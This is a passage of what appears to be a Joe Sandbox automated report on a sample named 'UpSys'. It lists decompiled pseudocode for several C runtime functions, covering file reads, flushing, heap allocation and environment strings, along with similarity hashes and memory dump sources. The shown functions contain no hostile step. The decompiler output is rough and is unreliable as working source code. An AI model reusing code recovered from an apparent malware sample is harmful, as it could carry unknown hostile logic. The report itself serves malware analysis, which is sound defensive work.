                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecodePointer_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3485708101-0
                                                                                                                                                                                                        • Opcode ID: 3b8463d0dd54edb676fdc4d32ad4b113cb0ff39976e0b01e24d5d189bb5a7dd9
                                                                                                                                                                                                        • Instruction ID: a69447b68db2e538aa0b28ed4f87d6d1d9b252b06ee935817f2fcce6a0e34373
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3b8463d0dd54edb676fdc4d32ad4b113cb0ff39976e0b01e24d5d189bb5a7dd9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6741E33265464082EB268B3BD2953ED37A0F7097D4F244619FB6587AF1CB38C8A2C746
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140014360 Relevance: 3.1, APIs: 2, Instructions: 82COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 79%
                                                                                                                                                                                                        			E00000001140014360(void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8, long long _a8, char _a40, char _a56, void* _a65608, char _a65616) {
				void* _t30;
				void* _t34;
				void* _t49;
				void* _t60;
				char* _t63;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t68;
				void* _t70;
				void* _t73;
				void* _t74;

				_t70 = __r8;
				_t49 = __rax;
				_a8 = __rbx;
				E00000001140030CB0(0x10040, __rax, _t73, _t74);
				_t68 = _t67 - __rax;
				_t60 = __rdx + 1;
				 *((char*)(_t68 + _t60 + 0x1f)) =  *(__rdx + 0x1400b0310) & 0x000000ff;
				 *((char*)(_t68 + _t60 + 0x27)) =  *(_t60 + 0x1400b0097) & 0x000000ff;
				if (_t60 - 8 < 0) goto 0x40014380;
				E00000001140017E10(0,  &_a65616, 0x4009e830);
				r8d = 4;
				E00000001140016710(_t34, _t60 - 8,  &_a40,  &_a65616, __r8);
				r8d = 0x10000; // executed
				_t30 = E00000001140019A28( &_a65616, __r8,  *__rcx); // executed
				if (_t30 - 0x18 < 0) goto 0x4001444c;
				_t15 = _t49 - 0x14; // -20
				r10d = _t15;
				if (r10d <= 0) goto 0x40014426;
				_t63 =  &_a56;
				r9d = 0;
				r8d = 0;
				if ( *((intOrPtr*)(_t68 + _t70 + 0x20)) == ( *(_t63 + _t70) & 0x000000ff)) goto 0x4001443e;
				if (r9d == 0x14) goto 0x400313d0;
				_t64 = _t63 + 1;
				if (1 - r10d < 0) goto 0x40014400;
				_t22 = _t64 + 0x15; // 0x100000001, executed
				r8d = _t22;
				E00000001140019E98(0xffffffec, _t49, __rcx,  *__rcx, _t66); // executed
				goto 0x400143d0;
				r9d = r9d + 1;
				if (_t70 + 1 - 0x14 < 0) goto 0x40014406;
				goto 0x40014412;
				return 3;
			}















                                                                                                                                                                                                        0x140014360
                                                                                                                                                                                                        0x140014360
                                                                                                                                                                                                        0x140014360
                                                                                                                                                                                                        0x14001436b
                                                                                                                                                                                                        0x140014370
                                                                                                                                                                                                        0x140014388
                                                                                                                                                                                                        0x14001438f
                                                                                                                                                                                                        0x14001439b
                                                                                                                                                                                                        0x14001439f
                                                                                                                                                                                                        0x1400143b0
                                                                                                                                                                                                        0x1400143c2
                                                                                                                                                                                                        0x1400143c8
                                                                                                                                                                                                        0x1400143dd
                                                                                                                                                                                                        0x1400143e3
                                                                                                                                                                                                        0x1400143eb
                                                                                                                                                                                                        0x1400143ed
                                                                                                                                                                                                        0x1400143ed
                                                                                                                                                                                                        0x1400143f9
                                                                                                                                                                                                        0x1400143fb
                                                                                                                                                                                                        0x140014400
                                                                                                                                                                                                        0x140014403
                                                                                                                                                                                                        0x140014410
                                                                                                                                                                                                        0x140014416
                                                                                                                                                                                                        0x14001441e
                                                                                                                                                                                                        0x140014424
                                                                                                                                                                                                        0x140014433
                                                                                                                                                                                                        0x140014433
                                                                                                                                                                                                        0x140014437
                                                                                                                                                                                                        0x14001443c
                                                                                                                                                                                                        0x140014441
                                                                                                                                                                                                        0x140014448
                                                                                                                                                                                                        0x14001444a
                                                                                                                                                                                                        0x140014461

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _fread_nolock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 840049012-0
                                                                                                                                                                                                        • Opcode ID: 5f378f7cc4e63232f147dc72e2cad58f344c3f34cb53c46d016ea225a514af0d
                                                                                                                                                                                                        • Instruction ID: 964ee58c513e3ea131f23a5c54b4efef566778de2546ab40d17f2b25ba2c6de4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5f378f7cc4e63232f147dc72e2cad58f344c3f34cb53c46d016ea225a514af0d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A2313B722181C585E723CB26E4407DE3760F38D7C4F944112F78E8B9BADA7AC689CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140019E98 Relevance: 3.1, APIs: 2, Instructions: 54COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 72%
                                                                                                                                                                                                        			E00000001140019E98(void* __edx, intOrPtr* __rax, long long __rbx, long long __rcx, long long __rsi, long long _a8, long long _a16, long long _a24) {
				signed int _v24;
				signed int _t18;
				void* _t21;
				void* _t24;
				void* _t32;
				void* _t45;
				long long _t46;
				void* _t49;
				void* _t53;

				_t47 = __rsi;
				_t42 = __rcx;
				_t40 = __rbx;
				_t39 = __rax;
				_a16 = __rbx;
				_a24 = __rsi;
				_a8 = __rcx;
				_t24 = r8d;
				_t32 = __edx;
				_t46 = __rcx;
				if (__rcx != 0) goto 0x40019ee5;
				E0000000114001EAE4(__rcx != 0, __rax);
				 *__rax = 0x16;
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, __rbx, __rcx, _t45, __rsi, _t49, _t53);
				goto 0x40019f37;
				if (_t24 == 0) goto 0x40019f18;
				if (_t24 == 1) goto 0x40019f18;
				if (_t24 == 2) goto 0x40019f18;
				E0000000114001EAE4(_t24 - 2, __rax);
				 *__rax = 0x16;
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				_t18 = E0000000114001EA14(__rax, _t40, _t42, _t45, _t47, _t49, _t53);
				goto 0x40019f37;
				E0000000114001C3EC(_t18 | 0xffffffff, _t42);
				r8d = _t24;
				_t21 = E00000001140019DE4(0, _t32, _t39, _t40, _t46, _t45, _t47); // executed
				E0000000114001C47C(_t21, _t46);
				return _t21;
			}












                                                                                                                                                                                                        0x140019e98
                                                                                                                                                                                                        0x140019e98
                                                                                                                                                                                                        0x140019e98
                                                                                                                                                                                                        0x140019e98
                                                                                                                                                                                                        0x140019e98
                                                                                                                                                                                                        0x140019e9d
                                                                                                                                                                                                        0x140019ea2
                                                                                                                                                                                                        0x140019eac
                                                                                                                                                                                                        0x140019eaf
                                                                                                                                                                                                        0x140019eb1
                                                                                                                                                                                                        0x140019ebe
                                                                                                                                                                                                        0x140019ec0
                                                                                                                                                                                                        0x140019ec5
                                                                                                                                                                                                        0x140019ecb
                                                                                                                                                                                                        0x140019ed1
                                                                                                                                                                                                        0x140019ed4
                                                                                                                                                                                                        0x140019edb
                                                                                                                                                                                                        0x140019ee3
                                                                                                                                                                                                        0x140019ee7
                                                                                                                                                                                                        0x140019eec
                                                                                                                                                                                                        0x140019ef1
                                                                                                                                                                                                        0x140019ef3
                                                                                                                                                                                                        0x140019ef8
                                                                                                                                                                                                        0x140019efe
                                                                                                                                                                                                        0x140019f04
                                                                                                                                                                                                        0x140019f07
                                                                                                                                                                                                        0x140019f0e
                                                                                                                                                                                                        0x140019f16
                                                                                                                                                                                                        0x140019f18
                                                                                                                                                                                                        0x140019f1e
                                                                                                                                                                                                        0x140019f26
                                                                                                                                                                                                        0x140019f30
                                                                                                                                                                                                        0x140019f46

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$DecodePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2310398763-0
                                                                                                                                                                                                        • Opcode ID: c749b7bdf9bd7ddec015451507c0bb49b4b80e1f291369709875476fa4fe5566
                                                                                                                                                                                                        • Instruction ID: f46592071d3ec9a042f382ee13e3c7306c90564d0365f18a1527d08c6ae5aca0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c749b7bdf9bd7ddec015451507c0bb49b4b80e1f291369709875476fa4fe5566
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 66110C3272429042F726967BA5427EF6191BB8C3D0F508239BB548FAEACF7AC4018742
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140019DE4 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 66%
                                                                                                                                                                                                        			E00000001140019DE4(void* __ecx, void* __edx, intOrPtr* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rsi) {
				void* __rdi;
				signed int _t20;
				void* _t23;
				void* _t25;
				void* _t26;
				void* _t28;
				void* _t29;
				void* _t35;
				signed int _t42;
				void* _t53;
				long long _t57;
				void* _t59;
				void* _t62;

				_t55 = __rsi;
				_t52 = __rdx;
				_t45 = __rax;
				_t29 = __ecx;
				 *((long long*)(_t59 + 8)) = __rbx;
				 *((long long*)(_t59 + 0x10)) = _t57;
				 *((long long*)(_t59 + 0x18)) = __rsi;
				_t35 = __edx;
				if (( *(__rcx + 0x18) & 0x00000083) != 0) goto 0x40019e17;
				_t20 = E0000000114001EAE4( *(__rcx + 0x18) & 0x00000083, __rax);
				 *__rax = 0x16;
				goto 0x40019e81;
				 *(__rcx + 0x18) = (_t20 | 0xffffffff) & 0xffffffef;
				if (r8d != 1) goto 0x40019e2e; // executed
				_t23 = E00000001140019BB8(__rcx, __rcx, __rdx, _t53, __rsi, _t57); // executed
				E00000001140018F00(_t29, __rcx, __rcx, _t55, _t53);
				r11d =  *(__rcx + 0x18);
				if (r11b >= 0) goto 0x40019e49;
				r11d = r11d & 0xfffffffc;
				 *(__rcx + 0x18) = r11d;
				goto 0x40019e63;
				if ((r11b & 0x00000001) == 0) goto 0x40019e63;
				_t42 = r11b & 0x00000008;
				if (_t42 == 0) goto 0x40019e63;
				asm("inc ecx");
				if (_t42 < 0) goto 0x40019e63;
				 *((intOrPtr*)(__rcx + 0x24)) = 0x200;
				_t25 = E00000001140018B10(_t45, __rcx);
				r8d = 0;
				_t26 = E00000001140025520(_t28, _t25, _t35 + _t23, _t35 + _t23, _t45, __rcx, __rcx, _t52, _t55, _t57, _t62); // executed
				bpl = _t26 != 0xffffffff;
				_t15 = _t57 - 1; // -1
				return _t15;
			}
















                                                                                                                                                                                                        0x140019de4
                                                                                                                                                                                                        0x140019de4
                                                                                                                                                                                                        0x140019de4
                                                                                                                                                                                                        0x140019de4
                                                                                                                                                                                                        0x140019de4
                                                                                                                                                                                                        0x140019de9
                                                                                                                                                                                                        0x140019dee
                                                                                                                                                                                                        0x140019dfe
                                                                                                                                                                                                        0x140019e05
                                                                                                                                                                                                        0x140019e07
                                                                                                                                                                                                        0x140019e0c
                                                                                                                                                                                                        0x140019e15
                                                                                                                                                                                                        0x140019e1c
                                                                                                                                                                                                        0x140019e23
                                                                                                                                                                                                        0x140019e25
                                                                                                                                                                                                        0x140019e31
                                                                                                                                                                                                        0x140019e36
                                                                                                                                                                                                        0x140019e3d
                                                                                                                                                                                                        0x140019e3f
                                                                                                                                                                                                        0x140019e43
                                                                                                                                                                                                        0x140019e47
                                                                                                                                                                                                        0x140019e4d
                                                                                                                                                                                                        0x140019e4f
                                                                                                                                                                                                        0x140019e53
                                                                                                                                                                                                        0x140019e55
                                                                                                                                                                                                        0x140019e5a
                                                                                                                                                                                                        0x140019e5c
                                                                                                                                                                                                        0x140019e66
                                                                                                                                                                                                        0x140019e6b
                                                                                                                                                                                                        0x140019e72
                                                                                                                                                                                                        0x140019e7a
                                                                                                                                                                                                        0x140019e7e
                                                                                                                                                                                                        0x140019e95

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno_flush
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 265556107-0
                                                                                                                                                                                                        • Opcode ID: be0711efeee051ceb2ffc5df96e5138b19824e460d043884847b8ff13c23dcd6
                                                                                                                                                                                                        • Instruction ID: 194a479115aca6355563eb4cd34e974decfb4a212c3ae022db0b05e82283482d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: be0711efeee051ceb2ffc5df96e5138b19824e460d043884847b8ff13c23dcd6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1611C432A2461086EB66DF77D48039E32E4A759BE0F281214FF254B7F9CB3ADD418780
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140029620 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 51%
                                                                                                                                                                                                        			E00000001140029620(void* __eax, long long __rbx, signed long long __rcx, signed long long __rdx, void* __rsi, void* __rbp, intOrPtr* __r8, long long _a8) {
				signed long long _v24;
				void* _t19;
				intOrPtr* _t34;
				intOrPtr* _t36;
				signed long long _t38;
				signed long long _t42;

				_t41 = __rdx;
				_t38 = __rcx;
				_a8 = __rbx;
				_t36 = __r8;
				_t42 = __rdx;
				if (__rcx == 0) goto 0x40029667;
				_t2 = _t41 - 0x20; // -32
				_t34 = _t2;
				if (_t34 - __rdx >= 0) goto 0x40029667;
				E0000000114001EAE4(_t34 - __rdx, _t34);
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				 *_t34 = 0xc;
				E0000000114001EA14(_t34, __r8, __rcx, __rdx, __rsi, __rbp, __r8);
				goto 0x400296c4;
				_t44 =  ==  ? _t34 : _t42 * _t38;
				if (( ==  ? _t34 : _t42 * _t38) - 0xffffffe0 > 0) goto 0x40029697;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t34 != 0) goto 0x400296c4;
				if ( *0x400b4b50 == 0) goto 0x400296b9;
				_t19 = E000000011400173B4(_t34,  ==  ? _t34 : _t42 * _t38);
				if (_t19 != 0) goto 0x40029677;
				if (_t36 == 0) goto 0x40029663;
				 *_t36 = 0xc;
				goto 0x40029663;
				if (_t36 == 0) goto 0x400296c4;
				 *_t36 = 0xc;
				return _t19;
			}









                                                                                                                                                                                                        0x140029620
                                                                                                                                                                                                        0x140029620
                                                                                                                                                                                                        0x140029620
                                                                                                                                                                                                        0x14002962a
                                                                                                                                                                                                        0x14002962d
                                                                                                                                                                                                        0x140029633
                                                                                                                                                                                                        0x140029637
                                                                                                                                                                                                        0x140029637
                                                                                                                                                                                                        0x140029641
                                                                                                                                                                                                        0x140029643
                                                                                                                                                                                                        0x140029648
                                                                                                                                                                                                        0x14002964e
                                                                                                                                                                                                        0x140029651
                                                                                                                                                                                                        0x140029658
                                                                                                                                                                                                        0x14002965e
                                                                                                                                                                                                        0x140029665
                                                                                                                                                                                                        0x140029673
                                                                                                                                                                                                        0x14002967d
                                                                                                                                                                                                        0x14002968c
                                                                                                                                                                                                        0x140029695
                                                                                                                                                                                                        0x14002969e
                                                                                                                                                                                                        0x1400296a3
                                                                                                                                                                                                        0x1400296aa
                                                                                                                                                                                                        0x1400296af
                                                                                                                                                                                                        0x1400296b1
                                                                                                                                                                                                        0x1400296b7
                                                                                                                                                                                                        0x1400296bc
                                                                                                                                                                                                        0x1400296be
                                                                                                                                                                                                        0x1400296ce

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _errno.LIBCMT ref: 0000000140029643
                                                                                                                                                                                                          • Part of subcall function 000000014001EA14: DecodePointer.KERNEL32 ref: 000000014001EA3B
                                                                                                                                                                                                        • RtlAllocateHeap.NTDLL(?,?,?,?,00000000,000000014001D9AF,?,?,?,000000014001D69F,?,?,?,000000014001EAED), ref: 000000014002968C
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AllocateDecodeHeapPointer_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 15861996-0
                                                                                                                                                                                                        • Opcode ID: ad41855d29191adfed78f69f47df75cdcbbafac80dcf9056611c515fa0b4761d
                                                                                                                                                                                                        • Instruction ID: b3f13ec4da54ad6d6e6dd2c7affb19a1e7eb41323427577def7be0d697765567
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ad41855d29191adfed78f69f47df75cdcbbafac80dcf9056611c515fa0b4761d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4511E93130428081FF178F27F648BE963E5AB5C7D4F088625BF1947AF4DB7C88408601
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015FF0 Relevance: 3.0, APIs: 2, Instructions: 50fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateFile
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 823142352-0
                                                                                                                                                                                                        • Opcode ID: a37637983cb8ed466fc21b937760a4454af69a19bf7da2cbbc37970e2af2f6f2
                                                                                                                                                                                                        • Instruction ID: cb62ba5a12d71d2f9a9d2bba99e5b811318deef56be499ca0efddc7851522937
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a37637983cb8ed466fc21b937760a4454af69a19bf7da2cbbc37970e2af2f6f2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0211217221464086F7628F26E41879B7791F78C7B8F149314EBB9077E4CB7EC5499B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400294D8 Relevance: 3.0, APIs: 2, Instructions: 42COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 66%
                                                                                                                                                                                                        			E000000011400294D8(void* __edi, void* __ebp, intOrPtr* __rax, long long __rbx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {
				void* _t15;
				intOrPtr* _t24;
				intOrPtr* _t25;
				long long _t27;
				intOrPtr* _t34;

				_t27 = __rbx;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				GetEnvironmentStringsW();
				_t34 = __rax;
				if (__rax != __rbx) goto 0x40029500;
				goto 0x4002954c;
				if ( *__rax == 0) goto 0x40029517;
				_t24 = __rax + 2;
				if ( *_t24 != 0) goto 0x40029505;
				_t25 = _t24 + 2;
				if ( *_t25 != 0) goto 0x40029505;
				_t39 = 0 - __edi + 2;
				E0000000114001D910(__ebp, _t25, __rbx, 0 - __edi + 2, __rsi, 0 - __edi + 2); // executed
				if (_t25 == _t27) goto 0x40029540;
				E00000001140016710(_t15, _t25 - _t27, _t25, _t34, _t39);
				return FreeEnvironmentStringsW(??);
			}








                                                                                                                                                                                                        0x1400294d8
                                                                                                                                                                                                        0x1400294d8
                                                                                                                                                                                                        0x1400294dd
                                                                                                                                                                                                        0x1400294e2
                                                                                                                                                                                                        0x1400294ec
                                                                                                                                                                                                        0x1400294f4
                                                                                                                                                                                                        0x1400294fa
                                                                                                                                                                                                        0x1400294fe
                                                                                                                                                                                                        0x140029503
                                                                                                                                                                                                        0x140029505
                                                                                                                                                                                                        0x14002950c
                                                                                                                                                                                                        0x14002950e
                                                                                                                                                                                                        0x140029515
                                                                                                                                                                                                        0x14002951c
                                                                                                                                                                                                        0x140029522
                                                                                                                                                                                                        0x14002952d
                                                                                                                                                                                                        0x140029538
                                                                                                                                                                                                        0x140029560

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: EnvironmentStrings$Free
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3328510275-0
                                                                                                                                                                                                        • Opcode ID: 6b23b56ca437ff358619cd5fcd9a52d3071748e82abb619d97ef147de854be90
                                                                                                                                                                                                        • Instruction ID: 52a5ed4afc2b4489c179f6b5c153c4ece4046f7a0579ea52c60d233745503296
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6b23b56ca437ff358619cd5fcd9a52d3071748e82abb619d97ef147de854be90
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4B018672704B5085EF62AFA3B5453DAA3A0EB4CFC0F4D4425FB4E077A5EA38C9818740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

